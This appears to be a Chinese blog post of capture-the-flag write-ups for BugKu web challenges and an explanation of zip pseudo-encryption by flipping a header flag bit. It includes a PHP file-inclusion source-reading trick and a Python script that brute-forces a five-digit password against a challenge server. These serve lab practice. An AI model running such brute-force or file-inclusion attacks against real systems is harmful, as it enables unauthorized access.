zoukankan      html  css  js  c++  java
  • CTF--zip伪加密

    刷题

    一.BUGKU

    • WEB

    1. 变量1

    知识点php两个$$是 可变变量,就是一个变量的变量名可以动态的设置和使用
    $GLOBALS一个包含了全部变量的全局组合数组。变量的名字就是数组的键

    <?php
    include "flag.php";                 //包含flag.php这个文件
    $a = @$_REQUEST['hello'];     //$a这个变量请求变量hello的值
    if(!preg_match('/^w*$/',$a )){ //正则表达式,匹配字符串,w表示字符+数字+下划线,*代表有若干个w字符组成。
        die('ERROR');//不匹配则输出ERROR
    }
    eval("var_dump($$a);");       //如果匹配输出$$a的值
    show_source(__FILE__);
    ?>
    

    2.头等舱

    直接burpsuit抓包,看返回包

    3.WEB4

    给了提示,查看源代码

    js代码,加密了,我们自己写个html文件,可以把eval改为alert,就把代码解密弹出了

    弹出的代码

    function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
    

    可以看到就是简单的构造一下password,password=67d709b2b54aa2aa648cf6e87a7114f1提交就可得到flag

    4.flag在index里


    有一个跳转链接,查看源代码

    像是文件包含,用PHP封装协议读取文件


    base64解码得

    <html>
        <title>Bugku-ctf</title>
        
    <?php
    	error_reporting(0);
    	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    	$file=$_GET['file'];
    	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    		echo "Oh no!";
    		exit();
    	}
    	include($file); 
    //flag:flag{edulcni_elif_lacol_si_siht}
    ?>
    </html>
    
    

    5.输入密码查看flag

    5位数可以爆破


    附爆破脚本

    #coding:utf-8
    import requests
    url='http://120.24.86.145:8002/baopo/?yes'
    value=[]
    for i in range(0,99999):
        if(len(str(i))<5):
            value.append("0"*(5-len(str(i)))+str(i))
        else :
            value.append(str(i))
    data = {'pwd':11111}
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    patch=content.text
    for i in value:
        data = {'pwd':i}
        print 'trying',i
        content = requests.post(url,data=data)
        content.encoding='utf-8'
        html=content.text
        #print html
        if html != patch:
            print html
        #print content.text.decode('gbk', 'ignore')
    

    zip伪加密

    zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包
    一个 ZIP 文件由三个部分组成:
    压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志
    压缩源文件数据区:
    50 4B 03 04:这是头文件标记(0x04034b50)
    14 00:解压文件所需 pkware 版本
    00 00:全局方式位标记(有无加密)
    08 00:压缩方式
    5A 7E:最后修改文件时间
    F7 46:最后修改文件日期
    16 B5 80 14:CRC-32校验(1480B516)
    19 00 00 00:压缩后尺寸(25)
    17 00 00 00:未压缩尺寸(23)
    07 00:文件名长度
    00 00:扩展记录长度
    6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500
    压缩源文件目录区:
    50 4B 01 02:目录中文件文件头标记(0x02014b50)
    3F 00:压缩使用的 pkware 版本
    14 00:解压文件所需 pkware 版本
    00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
    08 00:压缩方式
    5A 7E:最后修改文件时间
    F7 46:最后修改文件日期
    16 B5 80 14:CRC-32校验(1480B516)
    19 00 00 00:压缩后尺寸(25)
    17 00 00 00:未压缩尺寸(23)
    07 00:文件名长度
    24 00:扩展字段长度
    00 00:文件注释长度
    00 00:磁盘开始号
    00 00:内部文件属性
    20 00 00 00:外部文件属性
    00 00 00 00:局部头部偏移量
    6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001
    压缩源文件目录结束标志:
    50 4B 05 06:目录结束标记
    00 00:当前磁盘编号
    00 00:目录区开始磁盘编号
    01 00:本磁盘上纪录总数
    01 00:目录区中纪录总数
    59 00 00 00:目录区尺寸大小
    3E 00 00 00:目录区对第一张磁盘的偏移量
    00 00:ZIP 文件注释长度

  • 相关阅读:
    java Servlet小结
    Java 自定义客户端与服务器
    JAVA IO流总结
    java udp与tcp
    tomcat作为服务器的配置
    Linux
    Git -- 如何删除本地仓库
    ASP.NET Core 基础 Startup 类
    ASP.NET Core解说之Middleware(中间件)
    一、Redis安装 Redis学习记录
  • 原文地址:https://www.cnblogs.com/hackxf/p/9140211.html
Copyright © 2011-2022 走看看